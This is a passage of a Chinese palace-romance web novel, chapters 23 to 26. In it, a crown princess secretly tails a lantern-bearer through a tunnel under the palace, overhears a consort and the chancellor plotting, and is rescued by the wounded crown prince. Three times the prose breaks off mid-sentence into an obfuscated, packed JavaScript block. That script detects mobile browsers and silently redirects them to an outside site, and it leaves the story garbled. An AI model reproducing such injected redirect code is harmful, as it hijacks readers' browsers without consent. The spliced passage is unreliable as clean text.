容慎垂眸,视线在她掌心那颗圆润可爱的糖苹果和涤墨手中那串长长的糖葫芦之间逡巡片刻,剑眉微挑,似笑非笑。 叶小寻眨了眨眼,理直气壮道:“干什么呀。外头的小贩统共就卖这两种,我可是精挑细选了好久的。再说了……”她凑近了些,压低声音,带着几分调侃,“殿下这莫不是吃味?涤墨那串是我硬塞给他的,他若是敢不拿,我便扣他月钱。您这我可是精挑细选,供您亲自择选,如何?” 容慎闻言,眸底那点似有若无的寒意瞬间化开,犹如春水初生。 “那孤便挑一挑。”他低声道,目光落在她袖口处,眼底漫上一层淡淡的愉悦。 他伸出指骨分明的手,目光再次落在涤墨手中的糖葫芦上,接着径直拿走了叶小寻掌心的那颗糖苹果。 指尖掠过她的掌心,带着微凉的触感,却激起一阵细微的战栗。 “既是爱妃精挑细选的,孤自然要尝尝。”容慎慢条斯理地剥开油纸,动作优雅得仿佛在拆阅一道密旨。 叶小寻脸颊微热,忙掩饰般地挥挥手:“行啦行啦,既然殿下挑好了,那剩下这两个,我去分给周嬷嬷和祝凝。下次殿下若是准我多带几个人出去,我便把那小贩的草把子全包了,给东宫上下都发一根,也算普天同庆!” 说完,她如同一尾滑溜的游鱼,转身便朝后殿跑去,嘴里还唤着:“周嬷嬷!祝凝!快出来接驾,有好吃的!” 夜风微凉,长廊下只剩下两个男人。 容慎手里捏着那颗糖苹果,并未急着入口,而是转身看向涤墨。 涤墨立刻垂首,恨不得把头缩进脖子里,手里那串糖葫芦此刻重如千斤。 “怎么不吃?”容慎淡淡开口,声音恢复了平日的清冷。 涤墨身子一僵,恭声道:“属下不敢。” 容慎看了一眼他那副谨小慎微的模样,轻嗤一声,转身欲走,却又在迈出门槛时顿住脚步。 “她既入了东宫,便是孤的妻,也是你的正经主子。” 容慎的声音不大,却字字清晰,带着不容置喙的威仪,“主子赏的,便是恩典。她的命令,你听是不听?” 这话听着傲气,涤墨反而松了一口气。 “……属下遵命。” 他深吸一口气,从善如流地咬了一口顶端的山楂。 甜脆的糖衣在口中碎裂,酸涩的果肉紧随其后。 味道……似乎确实不错。 …… 另一边,偏殿的暖阁内。 祝凝手里捧着那颗红彤彤的糖苹果,正和叶小寻大眼瞪小眼。 “娘娘,您真不吃吗?”祝凝小心翼翼地问,眼神在糖果和叶小寻之间来回打转。 叶小寻正盘腿坐在罗汉榻上,毫无形象地晃着腿,闻言摆了摆手,一脸大度:“我呀,嗐,给忘记了。光想着给你们带,结果买完才发现没给自己留。不过没事,看着你们吃,我就当自己尝过了。” 她说得轻松,祝凝却听得心中一软。 这位主子入宫以来,从未有过半点太子妃的架子。 有什么好东西,总是第一时间想着她们这些下人。 “那……奴婢分您一半?”祝凝试探着举起糖苹果。 “别别别,这一咬就碎了,哪还能分。”叶小寻急得直摆手,眼珠子一转,忽然坏笑一声,从榻上跳下来,凑到祝凝面前,“你要是真想谢我,就听我的,大口吃!” “啊?”祝凝一愣。 “宫里规矩这么多,吃个东西还要细嚼慢咽,多没劲。”叶小寻循循善诱,做了一个夸张的张嘴动作,“来,听我的,把嘴张大,啊——” 祝凝被她逗笑了,却又有些害羞,犹豫着不敢张嘴。 “快点快点,放久了就不脆了!” 趁着祝凝犹豫的档口,叶小寻眼疾手快,捏着祝凝的手腕轻轻往上一送,那糖苹果便抵在了祝凝唇边。 “嗷呜——一口咬下去!”叶小寻在一旁拟了个音。 祝凝下意识地张嘴,只听一声脆响,糖衣碎裂,清甜的果香瞬间溢满唇齿。 叶小寻得意地拍手笑道:“怎么样?甜吧!等你咬开了里面的果肉,酸酸脆脆的,混着糖渣子一起嚼,那才叫过瘾呢!” 祝凝尝到了甜头,眼睛亮晶晶的,也不顾什么仪态了,一边小口嚼着,一边含糊不清地点头:“嗯!好甜!” 看着祝凝吃得香甜,叶小寻脸上的笑意渐渐淡去,取而代之的是一种淡淡的落寞。 她摸了摸空荡荡的肚子,忽觉这偌大的东宫虽好,却总少了点什么。 也许是少了街头巷尾的叫卖声,也许是少了叶片儿那种刀子嘴豆腐心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132731|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的唠叨,又或者是少了那一串她没舍得给自己买的糖葫芦。 “你先慢慢吃着,我去消消食。” 叶小寻忽然从榻上跳下来,像只灵巧的猫儿,落地无声。 祝凝刚咬下第二口,还没来得及咽下,便见叶小寻踢着步子,身形一晃便出了暖阁。 “娘娘!这天都黑透了,您去哪儿啊?” 祝凝急忙放下手里的糖苹果,追到门口。 然而殿外夜色浓重,宫灯照不到的角落里一片幽暗,哪里还有叶小寻的影子。 祝凝顿时慌了神,茫然四顾:“娘娘?娘娘您别吓奴婢啊!” 她刚想提裙去追,又想起叶小寻那神出鬼没的轻功,自己这两条腿怕是跑断了也追不上。 “哎呀!”祝凝急得跺了跺脚,转身便朝正殿跑去。 …… 叶小寻并未走远。 她只是在廊下被一盏灯笼吸引了。 东宫的灯饰向来规矩森严。 每隔十步便有一盏宫灯,样式统一,皆是绘着云龙纹的六角纱灯,透出的光也是暖黄色,透着皇家的威严与富贵。 可眼前这一盏,截然不同。 那是一盏素白的方灯,无纹无饰,惨白的光晕在夜风中摇摇晃晃,像极了民间出殡时引魂的白灯笼。 叶小寻蹲在一处假山石后,眯着眼打量着那盏灯。 听祝凝闲聊时说过,宫中灯火皆有定例,尤其是东宫这种储君居所,最忌讳白色与晦暗之物。 若有宫人挂错了灯,轻则杖责,重则是要掉脑袋的。 可这盏灯,不仅是白的,而且还在动。 它被人提着,正沿着东宫最偏僻的一处废弃花园墙根,缓缓向深处飘去。 那提灯之人的脚步极轻,若非叶小寻耳力过人,恐怕根本听不见那一丝极轻微的鞋底摩擦过落花的沙沙声。 “有意思。” 叶小寻的神情中带了些猎人嗅到了猎物时的兴奋。 她倒要看看,是什么人吃了熊心豹子胆,敢在太子爷的眼皮子底下装神弄鬼。 职业病一发作,叶小寻完全忘了自己如今的太子妃身份。 她屏住呼吸,身形如鬼魅般借着假山与树影的掩护,悄无声息地跟了上去。 那白灯笼在杂草丛生的废园里绕了几个弯,最终停在了一口早已干枯的废井旁。 借着那惨淡的白光,叶小寻依稀看见一个身着灰扑扑太监服饰的人影。 那人左右张望了一番,确定四下无人后,竟伸手在那布满青苔的井沿上按照某种规律敲击了几下。 “笃、笃笃、笃。” 下一刻,令叶小寻瞳孔微缩的一幕发生了。 那看似沉重无比的井盖,竟无声无息地向一侧滑开,露出一个黑黝黝的洞口。 白灯笼晃了晃,随即没入井口,消失不见。 叶小寻趴在草丛里,心跳陡然加快。 乖乖,这是密道集市吗? 如果都是容慎建的,那就不得不说他这太子爷指定是有些什么怪癖了。 她盯着那重新合拢的井盖,指尖在袖中轻轻摩挲着那枚始终带在身上的玉佩,眼中闪过一丝犹豫,但转瞬便被强烈的好奇心所取代。 叶小寻深吸一口气,猫腰起身,足尖一点,如同一片落叶般,轻飘飘地落在了井沿边。 24. 第 24 章 “笃、笃笃、笃。” “笃、笃笃、笃。” 指节叩击青石井沿的声音,在这死寂的园中显得格外清晰。 叶小寻屏息凝神,依葫芦画瓢,凭着方才的记忆,在那布满苍苔的石壁上寻到了几处暗藏的机括。 指尖传来的触感冰冷滑腻,透着一股经年累月的阴气。 她深吸一口气,指尖运力,精准地敲击下去。 一息,两息。 四周静得只有风吹枯草的沙沙声。 叶小寻心头微沉,正疑心是否自己记错了方位,脚下的地面忽然传来一阵极其细微的震颤。 紧接着,是一阵沉闷而滞涩的摩擦声,那是石盘在机括推动下缓缓转动的动静。 原本严丝合缝的石盖在她眼前缓缓裂开一道幽深的口子,宛如一张在暗夜中无声张开的巨兽之口。 “好家伙……” 叶小寻在心底低低惊叹了一声。 她本以为这东宫被容慎那厮治理得如铁桶一般,没想到竟在他眼皮子底下藏着这么个见不得光的耗子洞。 她探头望去,井下黑魆魆的一片,深不见底。 不同于寻常水井的潮湿霉烂,这里头竟是一丝水气也无,显然是一口枯废已久的旱井。 堂堂大晟皇宫,东宫乃储君居所,风水极重,怎会容忍一口毫无用处的枯井横亘于此? 脑海中莫名闪过了容慎的侧脸。 叶小寻一咬牙,将繁复的裙裾挽起,利落地打了个结塞进腰带里,随后单手撑住井沿,纵身一跃。 并没有预想中的深坠感,井壁内侧竟凿有供人攀爬的凹槽。 只是这井口极窄,平日里她穿夜行衣尚且要小心,如今这一身为了配合太子妃身份而穿的广袖流仙裙简直成了累赘。 “嘶……” 才下了不过五六尺,手臂外侧便被粗糙的石壁狠狠刮了一下,火辣辣的痛感顿时传来。 叶小寻疼得倒吸一口冷气。 方才那灰衣人身法那般利落,如入无人之境,身形定然比她还要清瘦,莫不是女子? 她将渗血的指节含在口中吮了吮,铁锈般的腥甜味在舌尖蔓延。 抬头看了一眼头顶那方越来越小的夜空,又低头看了看依旧深不见底的黑暗,她不再犹豫,借着凹槽与井壁的摩擦力,一点点向下滑去。 也不知过了多久,双脚终于触到了实地。 井底是一处极为狭窄的甬道入口,只容一人弓腰通过。 周围静得可怕,连一丝风声也无。 那提着白灯笼的人显然脚程极快,此刻早已不知去向。 叶小寻闭上眼,静立片刻,待双眼彻底适应了这伸手不见五指的黑暗后,才缓缓睁开。 一丝若有似无的气流拂过脸颊。 有风。 她心中微动。 她顺着那气流的来处,贴着冰凉刺骨的石壁,小心翼翼地向前摸索。 越往深处走,那股阴寒之气便越发浓重。 明明外头正是蝉鸣聒噪的仲夏夜,这地底却冷得如同深秋霜降。 寒意顺着袖口领口直往骨头缝里钻,激得她忍不住打了个寒颤,胳膊上起了一层细密的鸡皮疙瘩。 行出约莫百步,原本狭窄的甬道豁然开朗。 叶小寻脚步一顿,瞳孔微缩。 此处别有洞天。 眼前是一条修葺得极为平整宽阔的暗道,两侧石壁上甚至还嵌着未燃的油灯灯座。 莫说走人,便是并行两匹快马也绰绰有余。 “在东宫底下挖这么大的一条地道……”叶小寻缩了缩脖子,心中骇然,“这哪里是暗道,分明是运兵道。若是有人想趁夜逼宫,借此道将几千精兵神不知鬼不觉地送入东宫腹地……” 又想到那个总是来无影去无踪的清冷男人,叶小寻的心脏猛地揪了一下。 “容慎啊容慎,你家后院都起火烧到眉毛了,你还不知道呢。” 她咬了咬唇,脚下的步子不由得加快了几分。 这条路极长,且并非直线,而是蜿蜒向下,似乎在穿过层层宫墙与护城河的阻隔。 叶小寻一边警惕着脚下可能存在的机关陷阱,一边在心中默算着方位与距离。 约莫走了小半个时辰,前方的空气变得清新了些许,夹杂着泥土与草木的芬芳。 是出口! 只是这出口处却被乱蓬蓬的枯草与碎石堵得严严实实,只透进几缕微弱的星光。 叶小寻屏住呼吸,贴在洞口听了许久。 外头除了几声夜枭的啼叫和风吹树叶的声响,再无动静。 这一处有被人为清理过的痕迹,想必是经常过人。 她小心翼翼地伸手,顺着杂乱的痕迹一点点扒开那厚重的蓬草。 枯草上的草穗极有韧性,猛地弹回来,扑了她一脸的灰土。 “呸呸……” 叶小寻无声地吐掉嘴里的泥沙,费了九牛二虎之力,终于从那狭窄的洞口钻了出来。 甫一落地,她便迅速滚入一旁的灌木丛中,借着夜色隐蔽身形。 待看清周遭环境,她不由得倒吸一口凉气。 此处早已不是皇宫大内,而是一片荒凉的山林。 回头望去,巍峨的宫墙在夜色中只剩下一道模糊的轮廓,宛如一条沉睡的巨龙。 这里是西山脚下! 还没等她喘匀这口气,一点惨白的光亮忽然在不远处的林间晃动起来。 是那盏白灯笼! 叶小寻心神一凛,立刻伏低身子,悄无声息地朝着那光亮处潜行而去。 越过一片茂密的松林,前方的空地上,赫然立着几道人影。 那个提灯的灰衣人正跪在地上,瑟瑟发抖,连头都不敢抬。 而灰衣人身前,立着一男一女。 即便隔着一段距离,叶小寻也能感受到那两人身上散发出的迫人威压。 借着那惨淡的灯光,她看清了那女子的侧脸。 一身暗紫色的宫装,发髻高耸,即便是在这荒山野岭,亦不减半分雍容华贵。 只是此刻那张平日里艳若桃李的脸上,却布满了寒霜与戾气。 是师贵妃。 而在她对面,负手而立的男人,身形清瘦,着一身看似不起眼的青布长衫,可那股子阴鸷深沉的气场,除了当朝丞相沈道衍,还能有谁? 叶小寻只觉得一股寒气从脚底直冲天灵盖。 一个是宠冠后宫的贵妃,一个是权倾朝野的宰相。 这两人深夜私会于此,若是被旁人知晓,怕是要引起朝堂地震。 她死死地捂住嘴,连呼吸都放到了最轻,生怕泄露一丝声响。 “……那老东西是铁了心要站队到东宫那位那边去了。此计未成,他们以后更难对付。” “这次返京,挑拨不成,反而促使他们翁婿联手……” “这大晟的江山,哪里还有本宫的容身之地?” “娘娘稍安勿躁。”沈道衍转过身,半张脸隐在阴影里,显得格外阴森,“既然离间不成,霍家留着便是最大的祸患。” 闻言,师贵妃反倒犹豫了。 “霍家世代忠良,在军中威望极高。只要霍宣还活着一日,那十万霍家军便只认霍家的将令。容慎得此助力,我们便毫无胜算。但……” 沈道衍上前一步,逼视着师贵妃,语气森然:“娘娘,您那边安排得如何了?” 师贵妃道:“急什么?本宫做事,何时失手过?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132732|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶小寻只觉得手脚冰凉。 “娘娘切莫自恃,要彻底扳倒太子一党,首先得把挡在他前面的霍家清理干净才行。” “请沈大人赐教?”师贵妃压下心中的不悦,问道。 沈道衍此时忽然压低了声音,目光灼灼地盯着师贵妃:“贵妃娘娘陪伴圣驾多年,可曾想过,兵符或许从未藏于勤政殿?” 师贵妃一愣,随即皱眉道:“兵符一分为二,一半在霍宣手中,另一半自然是在勤政殿的暗格里,陛下贴身收藏。这有何疑问?” 沈道衍发出一声极其短促的嗤笑:“若真在勤政殿,刘大福之前派进宫的那几拨绝顶高手,为何翻遍了御书房和寝宫,却颗粒无收?” 绝顶高手?我吗? 叶小寻眨眨眼。 师贵妃面色微变:“刘大福的人?本宫倒是有所耳闻。说是派了个飞贼进宫去取,结果那贼人入宫月余,如同泥牛入海,毫无音信。本宫还以为是事情败露,被陛下暗中处决了。” “他们一个是当今圣上,一个是当朝太子。这父子俩不论是谁,要让一个人消失得悄无声息,确实易如反掌。” 师贵妃有些烦躁:“可惜沈大人眼里容不得沙子,也不审审那个刘大福,就把人给灭口了。若是留个活口,说不定还能问出点什么线索。” 沈道衍冷冷瞥了她一眼:“当时情况危急,老夫弃车保帅,迫不得已。” “哼,事已至此,多说无益。”师贵妃不耐烦地挥了挥手,“那霍家,你待将他们如何?总不能为了个找不到的兵符,一直这么耗着。” “兵符没了,再找便是。”沈道衍停下脚步。“既然暂时找不到宫里那一半,那不是还有霍府那一半么?” 叶小寻的心脏狂跳不止,几乎要撞破胸膛。 “你想动硬的?”师贵妃有些迟疑,“霍府守卫森严,霍宣虽然是老了不少,但他手底下的亲兵可不是吃素的。” “娘娘说笑了,娘娘什么时候看过老夫强人所难?” “你是想……” 叶小寻的呼吸乱了一瞬,脚下不慎踩断了一根枯枝。 “咔嚓。” 清脆的断裂声在寂静的山林中如同惊雷炸响。 “谁?!” 沈道衍猛地回头,那双浑浊却锐利如鹰隼的眼睛瞬间锁定了叶小寻藏身的方向。 “来人!那个方向,给老夫搜!格杀勿论!” 原本跪在地上的灰衣人瞬间暴起,袖中滑出一柄寒光凛凛的匕首,夜色中又现身几名同样穿着的人影,齐齐朝叶小寻扑来。 “遭了!” 叶小寻暗叫不好,顾不得隐藏身形,转身便跑。 但这毕竟是宫外的野山,荆棘密布,又无路可走。 她虽轻功卓绝,但在这地形复杂的林子里,速度大受影响。 身后那灰衣人显然是个顶尖高手,脚步声越来越近,带着一股浓烈的杀意。 “容慎……救命啊……” 叶小寻心中哀嚎,拼尽全力朝着来时的那个隐秘洞口狂奔。 不,不对! 脑中有些混乱,但……最危险的地方不就最安全吗? 姑奶奶信了! 近了!那个被蓬草遮掩的洞口就在眼前! 然而就在她即将扑向洞口的瞬间,一道劲风袭向她的后心。 那是匕首破空的声音! 躲不开了! 叶小寻绝望地闭上了眼。 千钧一发之际,一只修长有力的大手忽然从那黑黝黝的洞口中伸出,一把扣住了她的手腕。 紧接着,一股巨大的拉力传来。 叶小寻只觉得天旋地转,整个人被狠狠拽进了那个黑暗而熟悉的怀抱。 25. 第 25 章 “嗤!” 那是利刃没入泥土的闷响,就在叶小寻刚刚站立之处。 那柄泛着蓝光的匕首,距离她的脚踝不过半寸之遥,若非那一拽之力,此刻她这只脚怕是已经废了。 那一瞬间,天旋地转。 叶小寻整个人撞进了一个坚硬却带着熟悉冷香的怀抱里。 那怀抱极紧,勒得她肋骨生疼。 黑暗中她看到那人动作一番,厚重的石门机关将那洞口死死合住,未拨开的草穗被夹断在凄冷的地面。 火折子划开微弱的光,叶小寻仰起头,正撞进一双布满红血丝的眼眸里。 那双平日里清冷如古井无波的凤眸,此刻正翻涌着滔天的巨浪。 “殿下……” 叶小寻只觉心头一松,那股劫后余生的庆幸瞬间涌上鼻尖,化作一声带着哭腔的惊喜,“我就知道你会来!” 她下意识地想要伸手去环他的腰,手还没触到他的衣襟,便被一股大得吓人的力道一把挥开。 “……” 空气仿佛凝固了。 容慎没有说话。 他只是死死地盯着她,胸膛剧烈起伏着,像是在极力压抑着某种即将失控的情绪。 叶小寻本能地缩了缩脖子,一想到方才听到的惊天阴谋,她急切起来,反手去抓他的袖子:“容慎,你听我说!是沈丞相和师贵妃,他们在密谋……” “够了。” 冰冷的两个字,直接打断了她的话。 容慎的声音哑得厉害,他看都没看她一眼,转身便走,步伐快得带风。 “哎?你等等我!” 叶小寻连忙追上去。 这里黑灯瞎火的,机关重重,她可不想掉进什么坑里。 她伸手去拉他的手,指尖触碰到的一瞬,却摸到了一片温热湿腻。 那是血。 顺着他的指尖,正一滴一滴地往下淌。 “呀!”叶小寻惊呼一声,一把拽住他,强行举起他的右手,“你受伤了?!” 借着昏暗的光线,她看清了他的手背。 那里有一道深可见骨的划痕,鲜血淋漓,似是被利刃划破。 是刚刚的匕首? “好多血……”叶小寻的心脏猛地抽痛了一下,眼眶瞬间红了。 她手忙脚乱地想要帮他按住伤口,“你是,是为了我……” “无妨。” 容慎冷冷地吐出两个字,再次甩开了她的手。 那动作决绝,叶小寻差点站不稳。 她愣在了原地,看着空落落的手心,一股委屈混着愧疚涌上心头。 “你……”她咬了咬唇,声音也大了起来,“流了这么多血,怎么可能无妨?都什么时候了,你还在这儿耍什么太子威风!” 容慎猛地停下脚步。 “既然知道并非无妨,为何乱跑?” 他低头看着她,每一个字都像是从牙缝里挤出来的。 “我……我没有乱跑。”叶小寻有些心虚地别过头,小声辩解,“我只是看见东宫有人鬼鬼祟祟提着白灯笼,那是犯忌讳的……我就想跟上去看看,谁知道……” “哦?这不是乱跑?” 容慎气极反笑,那笑容里却没半点温度,“那在你看来,什么是乱跑?是非要等到孤只能去给你收尸,才叫乱跑吗?!” 他的声音骤然拔高,在空旷的地道里激起阵阵回声。 “你就没想过,直接来告诉我?” 容慎猛地伸出手,撑在她耳侧的石壁上,他离得极近,鼻尖几乎要碰到她的鼻尖。 那温热的呼吸喷洒在她脸上,却带着令人战栗的怒意。 “还是说,在你心里,我这个太子就跟傻子一样?什么都不懂,什么都护不住,只能眼睁睁看着这东宫漏得像个筛子,非得劳驾你叶女侠亲自出马,以身涉险去替我补窟窿?!” 一连串的质问,如连珠炮般砸向叶小寻。 她怔住了。 平日里,他总是端着架子,一口一个“孤”。 可现在…… “我错了……” 叶小寻垂下头,伸手轻轻拉住了他的衣袖,声音软得像只做错事的猫,“你……你别这么凶嘛……” 容慎看着她低垂的眉眼,看着她发髻上沾染的枯草和尘土,胸口那团灼烧的怒火终是被这一声软语浇灭了大半。 他闭了闭眼,深吸一口气,试图平复那仍在狂跳的心脏。 “先回去。” 再开口时,声音虽仍冷硬,却已没了方才那股咄咄逼人的气势。 叶小寻如蒙大赦,赶紧点头如捣蒜:“好好好,先回去!回去我给你包扎!涤墨肯定在外面,让他赶紧去请太医……” “不必惊动太医。”容慎打断她,转身继续往前走,只是这一次,他的步子慢了许多,似乎是在刻意等她跟上。 叶小寻不敢再造次,乖乖地跟在他身后半步的位置,眼睛紧紧盯着他垂在身侧的那只手。 血还在流,染红了浅色的袖口,在昏暗的环境中如此刺眼。 …… 回到寝殿时,夜已深了。 祝凝正跪在殿门口,哭得眼睛肿得像两个核桃。一见叶小寻平安归来,小丫头“哇”的一声就哭了出来,扑通一声磕了个响头。 “娘娘!呜呜呜……都是奴婢不好,是奴婢没看住您……也是奴婢嘴快,跑去告诉了殿下,害得殿下发了那么大火……呜呜呜……” 祝凝哭得上气不接下气,显然是被容慎刚才进门时的脸色给吓坏了。 叶小寻连忙上前将她扶起来,一边给她擦泪一边安慰道:“哎呀,快别哭了,这怎么能怪你呢?你要是不去报信,我现在指不定已经被埋在那荒山野岭当化肥了。多亏了你机灵,救了我一命呢。” 祝凝抽抽搭搭地看着她,又偷偷觑了一眼面色铁青坐在软榻上的容慎,瑟缩了一下:“可是……殿下他……” “他那是心疼……咳,他是气我不守规矩。”叶小寻冲祝凝挤了挤眼睛,压低声音道,“行了,你去打盆热水来,再把药箱拿来。记住,别惊动旁人,尤其是别让外面那些眼线知道殿下受了伤。” 祝凝一听殿下受伤了,吓得脸色一白,也不敢再哭了,连忙点头应下,手脚麻利地退了出去。 殿内再次陷入死一般的寂静。 容慎坐在榻上,左手搭在膝头,右手垂在身侧,鲜血已经凝固在指缝间。 他微微阖着眼,神色晦暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132733|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明,不知在想些什么。 叶小寻轻手轻脚地走过去,在他面前蹲下。 “把手给我。”她伸出手,尽量让语气显得强硬些。 容慎没动,也没睁眼。 叶小寻也不恼,直接上手去抓他的手腕。 容慎终于睁开了眼。 他定定地看了她半晌,终于没有再挣扎,任由她将那只受伤的手捧了过去。 祝凝送来了热水和伤药,便极有眼色地退了出去,顺手带上了门。 叶小寻拧了一把热毛巾,小心翼翼地擦拭着他手上的血迹。 温热的触感让容慎微微一颤,手指下意识地蜷缩了一下。 “疼吗?”叶小寻抬起头,轻轻吹了吹那道狰狞的伤口。 “不疼。”容慎淡淡道,目光落在她发顶的那个小旋儿上。 “骗人。”叶小寻吸了吸鼻子,取过金疮药,用指腹一点点涂抹在伤口上,“我在江湖上混了这么多年,挨过的刀子比你见过的都多。这种口子最疼了,刚挨的时候不觉得,要是不及时处理,就越来越疼,尤其是沾了水之后……” 她絮絮叨叨地说着,“刚才在那地道里……那个出口被枯草堵死了,我扒了好久才出去。后来遇到沈道衍他们……那个灰衣人身手极好,若不是你在那个机关口等着拉我,我肯定跑不过他的匕首。” 她一边说着,一边熟练地用白纱布将他的手缠绕包裹起来,最后打了一个漂亮的结。 “……看你摆弄那里的机关那么熟练,我就知道我是自作聪明了,这宫里还有什么事情能瞒得过你的眼睛呀……”她抿了抿唇,认真地看着他,“容慎,谢谢你。” 这一声谢说得极其郑重。 容慎看着手上那个蝴蝶结,沉默了片刻,终于开口道:“不早了,先歇着吧。最近没什么大事,就好好在宫里待着。” “嗯?”叶小寻一愣,抬头看他。 容慎身子一僵,不去回看她的目光。 …… 夜色更深。 叶小寻折腾了一宿,已经睡了过去。 容慎则回到了书房。 他靠在案前上,单手拿着一卷书,目光却并没有落在书页上,而是盯着虚空中的某一点,眼神逐渐变得冰冷锋利。 “殿下。” 一道黑影如同鬼魅般出现在阴影处,正是涤墨。 “属下知罪。今日未能护好娘娘,请殿下降罪。” “说正事。” “是。” 涤墨神色凝重地禀报道:“殿下吩咐盯着燕安宫,有动静了。” 容慎翻书的手指微微一顿,眸光骤冷。 涤墨继续道:“今日傍晚,燕安宫那边的一个管事婆子突然急匆匆地去了内务府,说是需要修葺一座偏殿。” “修葺?”容慎抬眸,“理由呢?” “报备上写的是,为下个月的中秋宫宴做宴客更衣之用。” 容慎合上书卷,目光落在叶小寻给他扎的蝴蝶结上。 “稀奇,宫中大大小小的宴席师贵妃张罗了不少,中秋的宫宴何须如此铺张?怎的这会儿来心情修葺了。” “依殿下看……” “继续盯着。” “是。” 26. 第 26 章 后半夜宫里闹腾了一宿,是师贵妃那边闹出的动静,禁军统领率一众禁军紧急搜查东宫周围,声称是有宫女看见了刺客出没。 太子妃卧病在床,想必未被怀疑,但那密道的出口毕竟是东宫,师贵妃一直在寻由头进来搜。 不论她费了什么功夫,总之是无用功了。 东宫一夜太平。 翌日,叶小寻早膳都只扒拉了两口就迫不及待去书房找人。 可书房冷冷清清的。 “殿下今日还没回吗?”她叫住了正在洒扫的嬷嬷。 “回娘娘的话,殿下被圣上紧急召去了。” 她有点失落:“好吧好吧。” 在院里等了约莫半个时辰,她又往书房跑了一趟,依旧扑了个空。 默默回去,祝凝那已经开始张罗好做秋千的材料了。 明明是她提议的,可眼下是一点心情也没有。 她拦下祝凝,轻轻道:“过一个时辰,你能去看看殿下回来了吗?” 祝凝有些不解:“娘娘可是找殿下有急事?” 叶小寻不止如何应对,有些支支吾吾的:“那不是,昨天他才受伤,我想着叫他换药呢。” 祝凝了然,还觉着有些好笑:“娘娘,这有什么好害臊的。您和殿下多多培养感情,是好事啊。” 往后宫里的日子长着呢,娘娘也不知要被困在这里多久。 若能和夫君琴瑟和鸣,日子当然好过不少。 她娘亲以前就是这么告诉她的,直到现在看到东宫这般光景,她好像才隐隐约约有些懂了。 叶小寻摆弄木材也心不在焉的。 祝凝不放心她,担心她伤了手,便借口去取消暑的水果来,让她净手了等着。 的确,她太慌了一些。这样神不守舍的,帮不上任何忙,还是得从长计议。 左右她现在还能隐藏身份,就算真被抓到……只要她不屈打成招,定然不会牵连到东宫的。 叶小寻咬着唇。 将叶小寻安顿在凉亭的石凳上,祝凝嘱咐好让叶小寻边吃边等她,便匆匆往书房去了。 不消说,又是扑了个空。 娘娘有什么要紧事要现在找殿下,祝凝也百思不得其解。 正往外走,却见涤墨进了书房。 后者一看祝凝只身一人,心念男女大防,后退了两步在门外等着。 “涤墨大人,娘娘挂念殿下身上有伤,想问殿下何时方便换药?” 犹豫两息:“我也不知,不过圣上体恤,已经吩咐太医院去勤政殿了,想必已经为殿下换过药。” 祝凝摇摇头,涤墨大人一介武夫,自然以为换药就是换药,你若同他讲那些夫妻情爱,他恐怕也不懂。 罢了,罢了。 祝凝只得告辞,路上却被宫女们拦住了。 这群丫头方才见过娘娘来了两次,纷纷在暗地里猜测何时会来第三次呢。这没过多久,来的却是祝凝。 “祝凝,你平日里侍奉在娘娘左右,你说,是不是娘娘和殿下……”一帮小丫头凑在一起叽叽喳喳。 祝凝被她们揶揄得都有些脸红了,脚一跺。 “你们成日里伺候主子,脑子里都是这些腌臢事儿吗?再乱嚼舌根子,小心我告诉娘娘去!” “好姐姐,你肯定不会的,再说了,我们这不也关心娘娘吗?” “就是,娘娘进宫也足月了,还是第一次见娘娘对殿下如此上心,今儿个一整天就巴巴地盼着殿下回来。” “殿下平日劳累,但总感觉近些日子变了许多。” “变了哪儿?” “嗯……说不上来,就是你在殿下身边伺候呀,不会觉得喘不过气儿了。” “什么呀,你是躲懒被发现了吧!” “谁躲懒了,莫要胡说……” 叶小寻等了许久也不见祝凝回来报信,到门口一看才发觉祝凝被几个小宫女拉着相谈甚欢。 祝凝听得一阵奇特的鸟鸣,下意识地回头,叶小寻是不是巴巴地盼着殿下她不知道,现下倒是巴巴地盼着她回去。 她抿唇浅笑着回去,回禀道:“回娘娘的话,殿下还未回,涤墨大人倒是露了个脸,今日怕是难见到殿下了,勤政殿那边不放人,涤墨大人也不太清楚具体情况。” 不行,她不能太依赖容慎了。 目光落在那群还在院中洒扫的宫女身上,她不禁眯起眼睛细细打量她们的身形。 末了,有些沮丧。 昨夜过于昏暗了,看得也不算太真切。 眼前这几名宫女都是周嬷嬷精挑细选出来的,理应信得过才是。 方才她虽然戴着帷帽,但步履匆匆,显然并非病躯,也没有人觉得奇怪或是多看她两眼。 昨夜那灰衣人不在这里面。 “祝凝,你说知道我真实身份的只有你和周嬷嬷,那前院的那些宫女们呢?” 祝凝道:“她们虽信得过,但也不得不防。周嬷嬷只道娘娘是为了避嫌才称病不出,并未透露给任何人娘娘的真实身份。” 